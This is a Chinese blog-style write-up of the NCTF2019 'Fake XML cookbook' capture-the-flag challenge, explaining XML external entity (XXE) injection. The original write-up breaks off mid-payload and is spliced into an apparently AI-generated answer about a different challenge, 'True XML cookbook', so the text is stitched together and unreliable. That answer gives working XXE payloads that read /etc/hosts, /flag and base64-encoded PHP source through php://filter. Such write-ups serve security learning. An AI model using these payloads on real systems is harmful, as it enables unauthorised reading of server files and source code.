[NCTF2019]Fake XML cookbook 1

本文深入探讨了XML外部实体注入(XXE)漏洞的原理,指出当应用程序在处理XML输入时未能阻止外部实体加载,可能导致文件读取、命令执行等安全风险。通过示例代码展示了XXE漏洞触发的场景,并提醒开发者注意在允许XML上传的地方进行有效过滤,以防止恶意XML文件的上传。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

知识点:XML实体注入漏洞(XXE)

原理:XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

详细了解

查看源代码,访问doLogin.php
在这里插入图片描述
访问doLogin.php,提示加载外部xml实体
在这里插入图片描述

  • DOCTYPE(文档类型定义的声明)
  • ENTITY(实体的声明)
  • SYSTEM、PUBLIC(外部资源申请)
内部实体
<!ENTITY 实体名称 "实体的值">

外部实体
<!ENTITY 实体名称 SYSTEM "URL">

因为本题是要外部实体加载,所以用下面一个
<?xml version = "1
### 关于BUUCTF NCTF2019 True XML cookbook 的解析 #### XXE漏洞利用基础 XML外部实体注入(XXE)是一种攻击方式,允许攻击者通过恶意构建的XML数据来访问服务器上的文件或其他资源。在NCTF2019中的`True XML cookbook`题目里,参与者需构造特定形式的XML输入以触发该漏洞并获取敏感信息。 #### 题目环境设置 为了成功执行此挑战,参赛选手通常会遇到一个接受XML格式请求的应用程序接口。应用程序可能用于处理登录验证等功能,在这种情况下,它期望接收包含用户名和密码字段的有效负载[^1]。 #### 构造有效载荷Payload 针对此类问题的一个典型解决方案涉及创建自定义的DTD(文档类型定义),其中包含了指向目标系统的内部或外部实体声明。例如: ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///etc/hosts"> ]> <user> <username>&admin;</username> <password>1</password> </user> ``` 上述代码片段展示了如何定义名为`admin`的实体,并将其链接到本地文件系统路径`/etc/hosts`上;当这个XML被发送给存在缺陷的服务端应用时,如果服务端未正确过滤掉这些非法字符,则可能会返回所请求的内容作为响应的一部分[^4]。 对于更复杂的场景,还可以尝试不同的URL方案来绕过某些防护机制,比如使用PHP过滤器读取远程脚本源码并编码成Base64字符串再传回客户端: ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE xxe [ <!ENTITY xee SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php"> ]> <user> <username>&xee;</username> <password>123123</password> </user> ``` 这段示例说明了怎样利用PHP特有的I/O流封装器(`php://`)去加载指定位置下的Web页面逻辑实现文件(doLogin.php),并通过base64转换后反馈给提交者查看其具体内容[^3]。 #### 获取Flag的方法 最终目的是找到隐藏在整个竞赛平台内的标志(flag)。根据已知条件调整前面提到的技术手段,可以将SYSTEM参数改为指向存储有flag文本的位置: ```xml <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///flag"> ]> <user> <username>&admin;</username> <password>123456</password> </user> ``` 一旦这样的请求被执行并且服务器确实暴露出预期的数据,那么就可以得到所需的标记信息完成比赛任务[^5]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值